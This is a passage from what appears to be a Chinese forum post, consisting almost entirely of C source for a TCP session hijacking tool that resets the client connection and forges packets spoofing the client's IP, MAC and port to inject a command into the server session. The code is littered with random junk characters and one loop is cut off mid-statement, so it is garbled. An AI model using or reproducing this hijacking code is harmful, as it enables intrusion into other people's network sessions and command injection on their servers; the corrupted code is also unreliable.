- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
|
pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE); 9 f& q; O7 l; n
//reset action flag ) `- Y( T/ c G
ResetActionAllFlag(); / ~5 `1 \: A5 ]1 C; V! K3 k+ h9 K
}
3 H9 {$ @7 e/ o3 y9 ~. Q //start hijack 2 z+ f# h) m; o U( A6 o. O
else if(g_dwAction == ACTION_HIJACK) % r" g2 w% B5 E, c7 j( F7 j9 d! s
{
. v* |! P# s8 d* \6 T# K3 l6 ^% l* B //send rst packet to client 8 d0 M$ Q3 x) B
SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq); ' N5 Z: M8 ]1 Q. _$ ?
//send hijack packet to client
' h! E0 U2 z! R' c' \2 ?0 Y+ D- T SendHiJackPacket(pTCPPacket); % E' W4 b( O, q+ Z* V
//reset action flag 3 K3 x7 ?, r! Q" S3 r Y- G2 g
ResetActionAllFlag();
: h7 H* v i+ D9 k }
! z: i6 D1 C1 |0 X0 R6 _. H7 E, ^' r } , v. w# i/ K1 f1 H: S, r
//show the tcp data
# s9 Z9 Q8 a( }- U! B# R/ W if( (g_dwAction == ACTION_WATCH) && (usDataLen) ) / S+ r! l1 t8 k' {( x
{
! A* z6 N# V% x. c ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); ' T" O( v' Z3 F, V
//暂不考虑IP、TCP头不是20字节的情况
1 f5 y) o8 \0 o$ n //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
& z8 k: P8 k- ]: {& ?0 F |( S7 ] pStr = (char *)pTCPPacket + 54; 0 K2 }$ Y8 n4 X1 p6 G; N' f8 s' t" v
for(i=0; i } ' j4 }4 E- S9 N9 H% j
}
$ {$ {# T4 S1 V //debug output ! ]) T5 s1 O4 S3 |/ a
//ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
0 o. ~& {' |* _ q }//end of analyse packets while
4 ^0 v, n$ L. W. f }//end of recv packets while 5 X% W* H; C' w, z/ D$ v, m3 Y( d
PacketFreePacket(lpRecvPacket); 9 R5 j# @4 v' s2 |* e, @
return 0; ( ~. G$ ]- g, A& j4 Q
} # |7 P. S) ?" u8 J5 R! Y
3 A2 U& I3 A$ ^9 A0 g* E( {+ ]3 o! n, y- D
// ) y/ Y U& l7 G; M* E* Z( T! |
//功能:操作记录所有连接信息的单向链表 9 ]6 ~& F' e+ n% s9 R- C, `
//
, Z9 P1 W: T2 j/ FDWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
1 d' I5 _3 H, T USHORT uClientPort, BOOL bDelete, BOOL bAddNew) & F( E8 T- d. K
{ : Q/ A2 H* F: S1 H: V1 f9 `
PCONNINFO pNew, pTmp; ( W9 X& e( b. K3 o5 o M
% P, B* @1 ]1 d3 W# E5 h- |
pTmp = g_pConnHead;
" h! Q- D& B( x& L L! N while(pTmp)
% K& h2 A% @8 R# |! K' Y! g# r( R- @ { ' ^5 y* x |4 X, b( r, B; i$ a
if(pTmp->bActive) 2 V6 @: q2 C! Q1 E, Y3 P
{
* j3 w9 h' C$ K. b! ^ Z! v& P //found it # Q ]; a0 i/ l4 g; f& P' O/ M+ Z* z
if( (pTmp->dwServerIP == dwServerIP) && 4 S* B$ y. }& [- j. {
(pTmp->uServerPort == uServerPort) && 4 U% F( a, l) a3 [7 a0 u" D
(pTmp->dwClientIP == dwClientIP) &&
& ^3 c5 g# B" y+ L6 _; B (pTmp->uClientPort == uClientPort) ) 6 b9 N# i) d Q. A8 w; g
{
' y% K; L; @4 q% e if(bDelete) / M8 P* `' C( ~5 d
{ - }) v# ]* k0 T' r! ? Q$ G
pTmp->bActive = FALSE;
1 t$ C6 z1 Z# I e/ x2 h) m1 u5 h return 0; R$ Y3 x$ l. \
}
9 Y: p# c$ u( o0 _8 m6 w7 Y else return pTmp->ident; ! t/ t7 _ s2 t) a! R
} 4 v+ M( H7 M" L) Q
} / u& G4 q2 z8 S+ a; o: D
pTmp = pTmp->Next; 5 _+ G+ i$ ~! q9 A# D, `
}
9 n$ h4 g/ y5 W! t$ a! o //not found, create new node 9 M7 Z! D4 }4 x+ }7 D
if( (!pTmp) && (!bDelete) && (bAddNew) ) + p+ U. r1 a C+ @/ |( x
{ 4 e- ^# \9 }) t6 W( [
//search unactive note
& M: Y6 o2 T. I" v( [( o pTmp = g_pConnHead;
# X$ I* z+ {8 H# U8 r while(pTmp)
- ?/ S; c# ^* ^2 u' O' D* R {
* I5 x7 R1 U9 n# ] if(!pTmp->bActive) break; 5 f6 n3 ~7 X/ }' [: ]
pTmp = pTmp->Next;
) Z: }. E, l8 P* q }
$ b9 c& Q) ? W4 J! _ //found a unactive node
+ H# t, U* \( I( W if(pTmp) 0 w7 R% |! P1 x# L h
{
& R% G. N0 A/ N9 D6 C ?# R pTmp->dwServerIP = dwServerIP;
$ v) |9 s2 E& W u& N" w8 t" v8 c pTmp->uServerPort = uServerPort;
0 A0 {* J, }$ i2 a8 Y) J pTmp->dwClientIP = dwClientIP;
* m, D4 X3 y9 g pTmp->uClientPort = uClientPort; 4 i) F: p+ V) J% k% M
pTmp->bActive = TRUE; ( S4 c7 R! z7 r0 N( |$ F
return pTmp->ident;
) s* M, h, C; J! O0 O# V. C } * w# @) t; E$ o! X
//not found,create new node
! e" w- _ i F6 p% O; ^ pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); - @/ S4 w* c7 Z- h( x$ }9 T
if(!pNew) 9 F& E2 ~' a6 @+ Q5 V: C
{ 2 I2 k% w, @% b. ^1 q5 P" t
printf("malloc for link node error:%d\n", GetLastError());
8 L8 A( ]% c* A% z+ ]$ D return 0;
+ V# M# n: G6 y }
! R! Y2 i6 v3 F( m0 a* D( g //fill the struct
/ V2 I- O$ H9 d5 {7 N pNew->bActive = TRUE;
& y4 J% I5 j0 K pNew->dwServerIP = dwServerIP;
5 L) \1 R. |/ X; |/ }$ Q pNew->uServerPort = uServerPort; 2 m) s: O C+ t6 A% }- S
pNew->dwClientIP = dwClientIP; 7 o0 g8 K' D2 _; W0 n( U3 J6 x
pNew->uClientPort = uClientPort;
/ h e! W: T$ V1 ?# |) C pNew->ident = ++g_ident; ) [- l2 x' ]8 L( X
pNew->Next = NULL; # [& c: y/ R& p+ h7 u
//add new node to link - ^* T! o! E( ~
if(!g_pConnHead)
- x3 a6 f& k5 N/ ] g_pConnHead = g_pConnLast = pNew; * {7 Q8 n$ |+ h& u
else
" O/ v7 }9 _4 q; Z1 Q, `' x {
b3 C* Z! |0 F$ N' Y. o B. a) o g_pConnLast->Next = pNew; 9 ~; }8 ^, F' R0 ^- w# i
g_pConnLast = pNew; 5 t. B: M- w" Y/ p" T- J
} 1 w$ ~) T# ^8 g( ^4 y% n5 s% G
return pNew->ident; 9 D( ?" d9 Y7 ~3 v) w
}
. L( r8 l! ^2 w/ X" l. y8 @, A return 0; 4 n3 m+ d* e# Y8 s
} ( X" A" a8 L! g* `6 {
6 O# ~8 F* s2 i; F
// ' E! e0 W2 R I) }5 T9 ]* E
//功能:判断一个数据包是不是只有ACK标志
- a- j' k& h3 m1 B" P// ! C5 G8 Z" ?2 e3 c8 p
BOOL IsACKPacket(unsigned char flag)
1 p+ c) h2 W4 P3 l$ K7 O' }{
4 v* n4 Y& M; v4 q0 q8 o, K3 }$ u$ Q( C int i, j=1; 7 P7 c+ B" y% f5 ?- J
for(i=0 ; i<4; i++)
1 L" r0 A6 b5 Z# k& p5 S7 T, { {
! g( h3 ]' o4 e9 n' ] if(flag & j) return FALSE; $ v& Q9 g! h, q( J/ M0 [
j <<= 1;
" w. P0 e4 W- U }
' q8 j4 n. `) R# S7 _ if(!(flag & 0x10)) return FALSE;//is ack? & _3 i' u; p7 a
if(flag & 0x20) return FALSE;
8 U4 V1 o; K3 p1 N3 k! @! g0 n# s return TRUE; 2 _% Z0 F, b5 R% T
} & }3 y* J7 J0 p
0 j: k4 E, J2 @9 }) h+ S! D
// 2 I6 L2 E3 q- C. D( D0 G
//功能:伪装成Client给Server发送数据包 6 h0 Y1 m. E8 w
// & r( B( w7 W" a# y
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
' }6 ]8 c T5 w [5 \, N+ \4 Q{ 9 q |3 e3 P r2 e
; f# U0 R1 I. ?3 x char szBuff[1520]; $ T5 a8 V+ z' J+ z
PSDHDR psdhdr; $ y1 ~ J9 w0 m2 \7 R
PTCPPACKET pHiJackPacket = NULL;
7 u' n6 c6 a+ V* O0 T+ G; y BOOL bRet = FALSE;
0 h# f8 q& R4 Q" }' w5 R+ }3 |; |* Y+ j
__try
! r8 G" L/ ?: c { + C6 U3 n& X/ r# c# n, _
// - P7 S1 j. z. ~ i4 {4 [0 x& C
if(!g_pCurrCtrlConn) __leave; . Z0 T8 q& T! ]* V8 Q; W' u
//allocate memory for hijack packet ' i/ X6 y1 v: b' `# u; s6 \8 E' V
pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
( |4 V7 c' X1 e( R$ }% ~8 n9 r* r if(!pHiJackPacket) 3 I- U7 y3 ~7 W# q
{ 8 ]& x& E, f! S" r/ V. _
printf("malloc error:%d\n", GetLastError()); ; R7 T3 c( i: t$ c: M0 _5 `. B
__leave;
4 Y! e+ N+ D5 j/ k/ m } , @$ M) U8 M+ \/ O) F
memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET)); : I6 `; U: i( j% ]( |* T. p
//-------------- modify the packet ---------------// & {# S" I( F+ w
//modify ethernet head ! J$ m- d5 d1 O, w3 |7 e' L
memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6);
+ m5 }' f, [. l, R! Y8 T memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
' E( t2 F: B6 m$ j7 W9 R: K8 f' c //modify ip head
. ~* ^# L0 k. n% ?7 U, Z3 O. A9 W pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long)); , f, }7 K! q$ \( J. R$ n
pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
" O2 c# h/ i. O pHiJackPacket->iphdr.ident += 1;//标识加1
: e# z* C6 z6 ~ pHiJackPacket->iphdr.checksum = 0; , {. A ]& u6 S
pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址,伪装成client
( z( O& r) \, M pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址,接收hijack包的地址
A1 _2 l0 {0 i# y4 ]. _ //modify tcp head
( @+ e# b+ a7 X! e* w% ` pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port
* T& d7 d0 H, N! S! o pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port ' g3 O' u" A% H9 ]
pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0); " L9 {" B; x) m) M: T1 u# N3 y* r+ @
pHiJackPacket->tcphdr.th_flag = 0x18;// PA $ h0 F$ H4 y& l e$ ~
pHiJackPacket->tcphdr.th_sum = 0; 1 M w6 `$ x1 e* g/ h
pHiJackPacket->tcphdr.th_win = 0x3F44;
2 m7 g' m! i' K$ D //fill tcp psd head
- P' D: r7 d9 O8 ^6 b4 b, }( l. B3 V% j. n psdhdr.saddr = pHiJackPacket->iphdr.sourceIP;
% g z! b4 ?/ @ K* f psdhdr.daddr = pHiJackPacket->iphdr.destIP;
6 _* B& o) g. Q* x psdhdr.mbz = 0;
+ r$ q7 l! \ z/ t& Z$ a9 ?4 V ? psdhdr.ptcl = IPPROTO_TCP;
( b1 Q) L5 A/ \. G- l) Y y psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
- F4 ~1 l* n( ? x& J& n- C2 i //calculate tcp checksum f. m c: M" H
memcpy(szBuff, &psdhdr, sizeof(PSDHDR)); 6 j I* l" ~$ w, f: U0 {4 p
memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR));
* g v3 A; \* W. O$ S memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand)); 6 I3 V0 p$ [2 _1 \- I1 v
pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand)); 9 S7 `) J) E2 k, k4 F, v! n
//calculate IP checksum
5 J8 A4 X; r+ s4 _ pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR)); 1 q' o* ]* A) ^) M; L, }1 r# s
//fill send buffer 1 h) p |" F5 x8 @
memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); 2 d+ [1 F& H1 H; g. S
memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand)); 6 e! X* ]( g. x w& ~# }! i
memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4); 2 Q6 y5 E, m5 Q; U! k0 X/ t
memset(g_lpSendPacket->Buffer, 0, 1514);
4 L4 V; B6 Y) @% |1 K( o memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
G, d6 W0 n# }9 u if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) ( f* @6 U; t8 X6 Y/ U
{
4 z! I8 J% \, |6 a printf("Error sending the hijack packets!\n");
; l* I) e9 M/ |9 J5 }2 q2 T __leave;
2 E# z4 G; p! L3 I* \1 ~& ^( g }
% b o& {# o' T2 s8 F* W( T else printf("Send hijack packet ok!\n");
9 c9 M( ~& y* s; [ Y @$ D/ Z bRet = TRUE; 6 o& D9 ?; ?2 a; S* N2 S. G- o1 b. P
} |
|